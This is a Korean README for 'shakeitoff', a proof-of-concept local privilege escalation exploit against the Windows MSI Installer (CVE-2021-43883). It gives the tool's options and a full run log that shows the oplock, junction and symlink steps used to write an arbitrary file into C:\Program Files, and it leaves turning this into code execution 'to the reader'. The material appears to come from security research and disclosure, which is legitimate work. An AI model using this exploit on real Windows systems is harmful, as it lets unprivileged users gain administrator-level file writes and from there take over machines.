
Windows MSI 설치 관리자 LPE (CVE-2021-43883)
InstallerFileTakeOver의 더 작고, 최소화되었으며, 깔끔한 버전입니다. CVE-2021-41379의 "변형"으로 알려진 제로데이 익스플로잇으로, 이후 CVE-2021-43883로 지정되었습니다. 이 버전은 InstallerFileTakeOver처럼 셸을 띄우지 않습니다. 이 코드의 목적은 파일 생성 공격을 더 안정적으로 입증하는 더 간단한 개념 증명을 만드는 것이었습니다. 이 개념 증명은 사용자가 요청한 임의의 파일을 생성하고(그리고 쓰기 가능함을 증명하기 위해 그 파일에 자신을 복사합니다) 코드 실행을 입증하는 것은 독자의 몫으로 남겨둔 사소한 연습입니다.
공격이 어떻게 동작하는지 이해하려면 AttackerKB 분석 글을 참조하세요.
이 도구는 세 가지 매개변수를 필요로 합니다:
C:\Users\albinolobster\source\repos\shakeitoff\x64\Release>.\shakeitoff.exe
option "msi_path" is required
Allowed options:
-h, --help produce help message
-m, --msi_path arg The path to the MSI to install
-i, --install_path arg The path to install to
-p, --target_path arg The file to create
PoC는 대상 파일에 자신을 복사할 뿐입니다.
C:\Users\Public>dir "C:\Program Files\lol"
Volume in drive C has no label.
Volume Serial Number is 5E1E-AC13
Directory of C:\Program Files
File Not Found
C:\Users\Public>.\shakeitoff.exe -m C:\Users\Public\shakeitoff.msi -i C:\Users\Public\lol\ -p "C:\Program Files\lol"
[+] User provided MSI path: C:\Users\Public\shakeitoff.msi
[+] The target path is: C:\Program Files\lol
[+] Create the temp directory structure we'll install into
[+] Grabbing handle to lock C:\Users\Public\lol\shakeitoff\haters.jpg
[+] Grabbing a directory handle of C:\Users\Public\lol\shakeitoff\
[+] Monitor shakeitoff\shakeitoff for an rbf file
[+] MSI install: ACTION=ADMIN REBOOT=ReallySuppress TARGETDIR=C:\Users\Public\lol\ C:\Users\Public\shakeitoff.msi
[+] Grabbing a handle to inner shakeitoff directory
[+] In callback for oplock one
[+] Opening handle to C:\Users\Public\lol\shakeitoff\8da858.rbf
[+] Creating the callback directory at C:\Users\Public\lol\cb_directory
[+] Grab a handle for the callback directry
[+] Creating a junction from C:\Users\Public\lol\cb_directory to \BaseNamedObjects\Restricted
[+] Inside callback two
[+] Release the hater.jpg handle to unlock
[+] Move the rbf file to C:\Users\Public\lol\weird_directory
[+] Move inner shakeitoff to C:\Users\Public\lol\weird_directory
[+] Move junction at C:\Users\Public\lol\cb_directory to C:\Users\Public\lol\shakeitoff
[+] Configuring symlink from \BaseNamedObjects\Restricted\8da858.rbf to \??\C:\Program Files\lol
[+] symlink created!
[+] MsiInstallProductA return value: 1603
[+] Exploit thread joined
[+] Copy into target!
C:\Users\Public>dir "C:\Program Files\lol"
Volume in drive C has no label.
Volume Serial Number is 5E1E-AC13
Directory of C:\Program Files
12/02/2021 02:01 PM 368,640 lol
1 File(s) 368,640 bytes
0 Dir(s) 86,015,610,880 bytes free
FileOpLock 코드는 angrypolarbearbug2에서 가져온 (약간 수정된) 버전입니다.